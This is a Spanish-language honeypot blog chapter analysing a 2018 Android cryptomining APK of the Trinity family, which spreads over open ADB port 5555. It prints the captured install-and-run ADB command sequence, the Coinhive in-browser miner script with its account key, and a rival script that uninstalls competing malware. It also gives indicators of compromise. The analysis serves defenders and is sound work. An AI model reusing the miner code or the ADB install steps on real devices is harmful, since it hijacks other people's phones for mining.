Trinity · Capítulo 10
Un minero algo perdido
Cayó otro APK por el cable de depuración, pero este pesa quince veces menos que el anterior y no lleva ni una línea de código nativo. Lo abrí esperando algo mediocre. Lo que encontré fue un fósil de 2018 que sigue infectando teléfonos para minar en una empresa que cerró hace siete años — y que hoy, sin saberlo, avisa a sus propias víctimas.
El cebo tiene cuarenta puertas abiertas, y el 5555 —el de la depuración de Android— es de las que más visita recibe. Ya trajo a Sysorbit en los capítulos 7 y 8. Esta vez trajo otra cosa, y la primera pista de que era distinta la dio la báscula.
El APK de Sysorbit pesaba 707 KB, con cuatro librerías nativas dentro. Este pesa 46 KB. Quince veces menos. Y cuando lo abrí, el código Java entero eran cinco kilobytes y no había ni un byte de código nativo.
Pensé que me había tocado un pobre diablo. Y en cierto modo sí — pero la historia que había detrás es la mejor que me ha dado el cebo hasta ahora.
01La captura
Quince segundos de principio a fin. Ni una palabra de más:
- 0 spm path com.ufo.miner — pregunta si ya está instalado. Si lo estuviera, se iría sin molestar.
- 8 sInstala /data/local/tmp/ufo.apk. Es la muestra que capturé.
- 9 sBorra el fichero. La huella dura un segundo.
- 10 sArranca la aplicación: am start -n com.ufo.miner/com.example.test.MainActivity
- 13 sps | grep trinity — busca algo llamado trinity. Ese nombre resultó ser la llave de toda la historia.
- 15 srm -rf /data/local/tmp/* y adiós.
02Cinco kilobytes y una página web
Dentro del APK no hay casi nada: un icono, un par de ficheros de recursos, cinco kilobytes de código y —esto sí llamó la atención— un fichero suelto llamado run.html. Una página web, dentro de una aplicación.
El código Java, entero, hace esto:
WebView webView = ...
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("file:///android_asset/run.html");Es decir: abre un navegador invisible y carga una página que lleva dentro. Nada más. Ni conexiones, ni comandos, ni ficheros. Y solo pide dos permisos: internet, y arrancar cuando enciendes el teléfono.
Toda la maldad, entonces, tiene que estar en esa página. Y son ocho líneas:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE',{
threads: 4,
throttle: 0.8
});
miner.start();
</script>Coinhive. Un servicio que permitía a cualquier web minar criptomoneda en el navegador de sus visitantes. Ese código de treinta y dos caracteres es la cuenta a la que iba el dinero.
Y entonces miré la fecha de los ficheros del APK: 1 de julio de 2018.
03El problema con esa fecha
Coinhive fue, en su día, un fenómeno. En su mejor momento lo usaban unas 32.000 páginas web y movía entre 150.000 y 250.000 dólares al mes en Monero —según la estimación—, de los que se quedaba el 30%. Estuvo quince meses seguidos como la amenaza número uno del índice de Check Point. Se lo encontraron en Los Angeles Times, en webs de gobiernos, en anuncios de YouTube, en el wifi de una cafetería de Buenos Aires y en cientos de miles de routers MikroTik, empezando por Brasil.
Y cerró el 8 de marzo de 2019. Monero cambió su algoritmo, el negocio dejó de salir a cuenta, y echaron el cierre.
Aquí es donde pensé que la historia se acababa: un fósil, un chiste, un bicho inofensivo dando vueltas por inercia. Fui a comprobar lo obvio —que el dominio estuviera muerto— y me llevé la sorpresa del día.
04El dominio no está muerto
coinhive.com sigue respondiendo. Y no solo eso: el fichero exacto que este bicho descarga, /lib/coinhive.min.js, sigue existiendo y devuelve un JavaScript de verdad, de 1,7 KB.
Pero no es el de antes. Esto es lo que hay hoy en esa dirección:
// Credit to https://w3bits.com/javascript-modal/
window.addEventListener('load', function() {
let url = 'https://www.troyhunt.com/i-now-own-the-coinhive-domain…';
createModal('This website attempted to run a cryptominer in your browser. <a href="' + url + '">Click here for more information</a>.');
setTimeout(function(){ location.href = url; }, 5000);
});En mayo de 2020, alguien le regaló el dominio a Troy Hunt —el que mantiene Have I Been Pwned— con la única condición de que hiciera algo útil con él. Y lo que hizo fue esto: en vez de minar, el script le planta un aviso en la cara a la víctima diciéndole que alguien acaba de intentar minar en su navegador, y a los cinco segundos la lleva a una página que se lo explica.
Cuando lo contó, en la primavera de 2021, el dominio recibía tres millones de peticiones al día de gente que seguía infectada sin saberlo.
Lo que sí ocurre es lo otro: el navegador del malware carga el script, y el script hace su trabajo. Y su trabajo, ahora, es dibujar el cartel de aviso en la pantalla de esa app «Test» que nadie abre — lo vea la víctima o no.
Han pasado siete años y el bicho no se ha enterado de nada. Sigue llamando a la puerta de su antiguo jefe, y quien abre ahora es alguien que se dedica a delatarlo.
05El espécimen
El APK que el cebo capturó.
- Tipo
- APK firmado · 46.525 B
- Paquete
- com.ufo.miner (actividad: com.example.test.MainActivity)
- Código
- classes.dex de 5.016 B · sin librerías nativas
- Compilado
- 1 de julio de 2018
- Función
- WebView + Coinhive (inoperante desde 2019)
- SHA-256
- 0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257
Y el certificado con el que está firmado merece capítulo aparte:
Propietario: CN=Android, OU=Android, O=Android
L=Mountain View, ST=California, C=US
EMAILADDRESS=android@android.com
Válido desde: 29 de febrero de 2008
Algoritmo : SHA1withRSA (débil)
SHA-256 : A4:0D:A8:0A:59:D1:70:CA:A9:50:CF:15:C1:8C:45:4D:
47:A3:9B:26:98:9D:8B:64:0E:CD:74:5B:A7:1B:F5:DCCompara con Sysorbit, que se inventó una empresa española entera —con su departamento, su ciudad y su provincia— para firmar su APK. Este cogió la que venía puesta.
06Quién es, en realidad
Aquel ps | grep trinity de la captura era el hilo. La familia se llama Trinity, y lo que cayó en mi cebo es solo una pieza del equipo.
El APK no se propaga; es únicamente el minero. El que viaja y contagia es un binario aparte llamado trinity, y tiene una característica que lo hace difícil de matar: no tiene servidor de mando. Ninguno. Se inventa direcciones de internet al azar, prueba el puerto 5555 a ciegas, y cuando encuentra un aparato abierto le empuja el equipo entero.
Y sigue activa: los servicios de reputación la marcaban como maliciosa el mismo día que me visitó.
Un apunte de honestidad: en mi captura no llegó a aparecer el binario trinity, solo el APK y la comprobación de si ya estaba. Lo que cuento de la parte que se propaga viene de análisis publicados, no de mi cebo.
07Ocho años dando vueltas
Que un bicho de 2018 llegue a 2026 podría ser una casualidad — una copia perdida en un aparato olvidado. No lo es, y hay números.
Un cebo de ADB en Sídney publica cada mes lo que captura. Mi mismo fichero, con el mismo hash exacto, aparece en sus informes todos los meses desde diciembre de 2025 hasta mayo de 2026. Y junto a él, los mismos binarios acompañantes que documentó un análisis de 2020: sin modificar en seis años. Nadie los mantiene. Nadie los mejora. Se copian a sí mismos, tal cual, de aparato en aparato.
En mayo de 2026 ese cebo contó 630 direcciones distintas repartiendo cosas por el 5555. El tráfico sale sobre todo de China y Corea del Sur.
08Hasta el fósil tenía enemigos
Rescatando aquel artículo de 2019 —está caído, hubo que sacarlo del archivo de internet— apareció otra pieza: un script rival que iba por ahí desinstalando a este bicho. Descargaba lo suyo, y remataba así:
# ...tras instalar lo suyo:
pm uninstall com.ufo.miner
pm uninstall fbot
# y se autodestruye
rm $0Dos competidores desalojados de una tacada, y limpieza de huellas al salir. Es el mismo patrón que hemos visto en RedTail y en Sysorbit: estos bichos se pelean entre ellos más que contra nosotros. El aparato infectado es un recurso escaso y hay cola.
09Indicadores (IOCs)
| Tipo | Valor |
|---|---|
| SHA-256 del APK | 0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257 |
| MD5 | 8844985fcd57b0311d1d4cb2ec13a1ef |
| Paquete | com.ufo.miner · actividad com.example.test.MainActivity |
| Receptor | com.example.test.BootBroadcastReceiver (BOOT_COMPLETED) |
| Permisos | INTERNET · RECEIVE_BOOT_COMPLETED (nada más) |
| Clave de Coinhive | fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE |
| Huella del certificado | SHA-256 A4:0D:A8:0A:59:D1:70:CA… (clave de pruebas pública de Android) |
| Ruta de instalación | /data/local/tmp/ufo.apk |
| Vía de entrada | ADB · puerto 5555 |
| IP que lo trajo | 112.90.220.245 (Shenzhen, China Unicom) — aparato infectado, no central |
| En la lista de apps | aparece como «Test», sin icono en el menú |
Y el arreglo de fondo es el de siempre: el puerto 5555 no debería asomar a internet jamás.
Lo único que no han tocado es com.example.test.MainActivity — el nombre que Android Studio pone por defecto y que este señor nunca cambió. Ocho años, una rotación entera de indicadores, y el descuido del que me reía ahí arriba es el único que sigue sirviendo para encontrarlo.
Y me quedo sobre todo con la imagen. Un teléfono en algún sitio, contagiado hace quién sabe cuánto, abriendo una ventana que nadie mira y llamando obedientemente a una dirección para pedir instrucciones. Al otro lado ya no hay ningún jefe: hay alguien que recogió las llaves del local abandonado y puso un cartel. Y el cartel, que el bicho enseña sin entenderlo, dice: «esta web ha intentado minar criptomoneda en tu navegador».
Después de tantos capítulos abriendo cosas cifradas a martillazos, resulta que el mejor final me lo dio un bicho que no sabe que la fiesta terminó.
Continuará — el cebo sigue encendido. Cuando alguien llame a otra puerta de forma interesante, habrá undécimo capítulo. 🍯
Comentarios